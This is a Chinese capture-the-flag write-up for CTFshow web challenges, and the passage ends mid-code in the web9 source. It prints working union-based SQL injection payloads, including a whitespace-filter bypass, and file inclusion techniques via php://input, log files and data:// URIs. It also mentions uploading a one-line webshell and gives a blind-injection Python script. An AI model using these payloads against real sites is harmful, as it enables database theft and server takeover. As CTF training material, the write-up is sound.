CTFSHOW WEB题目

web签到题

在这里插入图片描述

网页原代码中发现这个,base64解码就是flag

web2

CTFSHOW WEB题目_第1张图片
这道题目就是最简单的SQL注入了
发现万能密码可以成功。
于是后台查询语句猜测是select ‘column’ from ‘table’ where username=’$_POST[]’&password=’$_POST[]’ limit 1,1

自己猜的熬,不一定是完全正确的。
这样的话直接闭合前面的单引号就行了。
之后就是
123’ or 1=1 union select 1,2,3#
123’ or 1=1 union select 1,database(),3#
123’ or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#
123’ or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’),3#
123’ or 1=1 union select 1,(select group_concat(flag) from web2.flag),3#
CTFSHOW WEB题目_第2张图片

web3

CTFSHOW WEB题目_第3张图片
这道题目解法挺多的,我估计什么都没有过滤。
比如我们随便从网上,找一张图片。
CTFSHOW WEB题目_第4张图片
比如就这一张图片,我们复制链接地址然后作为url的参数
CTFSHOW WEB题目_第5张图片
结果出现这种情况,说明它包含进去了,那么我们可以远程文件包含的
第一种方法
CTFSHOW WEB题目_第6张图片
说明php://input是可以的
第二种方法
日志包含
CTFSHOW WEB题目_第7张图片
第三种方法
data协议
CTFSHOW WEB题目_第8张图片

web4

这道题目肯定是有过滤或者禁用函数的
php://filter可以读一下源码,发现不可以
CTFSHOW WEB题目_第9张图片
结果还是得日志包含
在这里插入图片描述
最后发现在上一层目录有flag.txt
在这里插入图片描述
如果实在找不到的话,可以自己写一个一句话木马传上去,利用蚁剑的提权找找。
CTFSHOW WEB题目_第10张图片
其实也duck不必,一个find -name fl*就能找到。
顺便看看过滤了什么
CTFSHOW WEB题目_第11张图片
原来是伪协议都给过滤了啊
本题目到此为止吧

web5


        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
   
            if(!ctype_alpha($v1)){
   
                die("v1 error");
            }
            if(!is_numeric($v2)){
   
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
   
                echo $flag;
            }
        }else{
   
        
            echo "where is flag?";
        }
    ?>

都是很基础的题目了
这道题目需要v1是字符,v2是数字,并且他们md5值相同
这里给出答案,参考一下
md5(‘240610708’) //0e462097431906509019562988736854
md5(‘QNKCDZO’) //0e830400451993494058024219903391
0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。

md5(‘240610708’)==md5(‘QNKCDZO’); //True
md5(‘240610708’)===md5(‘QNKCDZO’); //False

这样的对应数值还有: var_dump(md5(‘240610708’) == md5(‘QNKCDZO’));
var_dump(md5(‘aabg7XSs’) == md5(‘aabC9RqS’));
var_dump(sha1(‘aaroZmOk’) == sha1(‘aaK1STfY’));
var_dump(sha1(‘aaO8zKZF’) == sha1(‘aa3OFF9m’)); var_dump(‘0010e2’ ==
‘1e3’); var_dump(‘0x1234Ab’ == ‘1193131’); var_dump(‘0xABCdef’ == ’
0xABCdef’);

web6

一开始试了试万能密码
发现有过滤了,然后经过初步测试就是过滤空格
CTFSHOW WEB题目_第12张图片
可见,把空格替换成换行符是可以的。
然后开始流程,233
admin’%09or%091=1%09union%09select%091,2,3#

admin’%09or%091=1%09union%09select%091,database(),3#

admin’%09or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=‘web2’),3#

admin’%09or%091=1%09union%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name=‘flag’),3#

admin’%09or%091=1%09union%09select%091,(select%09group_concat(flag)%09from%09web2.flag),3#
在这里插入图片描述
此题结束

web7

一开始没往SQL注入上去想,本意是以为文件包含,浪费了不少时间。
经过初步测试,是过滤空格,我喜欢用%09来代替
做完之后发现网上的wp大部分是盲注,其实duck不必
CTFSHOW WEB题目_第13张图片
人家是可以回显的。
并且我猜测后台查询语句应该会是
select 文章题目 文章内容 from table where id=’$_GET[id]’
然后走流程
1%27%09or%091=1%09union%09select%091,database(),3#

1%27%09or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3#

没想到我直接select%09*from%09flag试试直接出来了。
中间有一个问题就是table_schema=database()可以,但是换成’web7’就没有回显了,奇了个怪的。
本题到此为止。

web8

这个题自己做了半天,完全是因为一些奇奇怪怪的问题。
写脚本的时候,用提交参数的方式不行,后来出来用regexp匹配的时候又有了一堆问题,|,^,还有大小写都可以匹配,然后自己又过滤了一遍。最后发现用了ascii()这个函数可以解决乱匹配成功的问题,不知道为什么。
附上我的垃圾脚本

import requests
TableName=''
for i in range(1,50):
    for j in range(45,127):
        url=f"http://d8feef23-5c02-41b3-9a80-6eb6d64d8a39.challenge.ctf.show:8080/index.php?id=0%09or%09(1=(substr((select%09group_concat(flag)from%09web8.flag)from%09{
     i}%09for%091)regexp(chr({
     j}))))#"
        r=requests.get(url)
        if "A Child's Dream of a Star" in r.text:
            if(chr(j)=='|'or chr(j)=='^'or chr(j)=='.'or (j>=65 and j<=90)):
                continue
            TableName+=chr(j)
            print(TableName)

web9

一开始试了试没有什么头绪,就去找找wp看,发现有源码泄露。




<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
   
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
   
					while($row=mysqli_fetch_assoc($result)){
   
						 echo 

你可能感兴趣的:(CTF题目)